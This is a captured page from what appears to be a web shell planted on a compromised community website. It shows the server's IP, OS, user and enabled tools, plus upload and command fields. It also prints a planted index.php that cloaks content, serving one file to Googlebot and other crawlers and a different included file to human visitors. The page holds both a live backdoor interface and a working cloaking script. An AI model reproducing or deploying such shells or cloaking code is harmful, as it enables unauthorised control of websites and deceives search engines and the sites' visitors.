Viva Fall River
403WebShell
403Webshell
Server IP : 69.10.62.66  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux server.vivafallriver.com 4.18.0-553.33.1.el8_10.x86_64 #1 SMP Thu Dec 19 06:22:22 EST 2024 x86_64
User : ecr393bnha6q ( 1001)
PHP Version : 8.4.21
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ecr393bnha6q/public_html/events/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ecr393bnha6q/public_html/events/index.php
<?php

function is_google_bot() {
    $agents = ["Googlebot", "Google-Site-Verification", "Google-InspectionTool", 
               "Googlebot-Mobile", "Googlebot-News", "bingbot", "Slurp", "DuckDuckBot"];
    
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    foreach ($agents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

if (is_google_bot()) {
    // Googlebot → tampilkan readme.txt
    $readmePath = __DIR__ . '/readme.txt';
    if (file_exists($readmePath)) {
        echo file_get_contents($readmePath);
    } else {
        echo "Landing page for Googlebot not found.";
    }
} else {
    // User biasa → tampilkan indexx.php
    $indexxPath = __DIR__ . '/indexx.php';
    if (file_exists($indexxPath)) {
        include $indexxPath;
    } else {
        echo "Catalog page not found.";
    }
}

exit;

Youez - 2016 - github.com/yon3zu
LinuXploit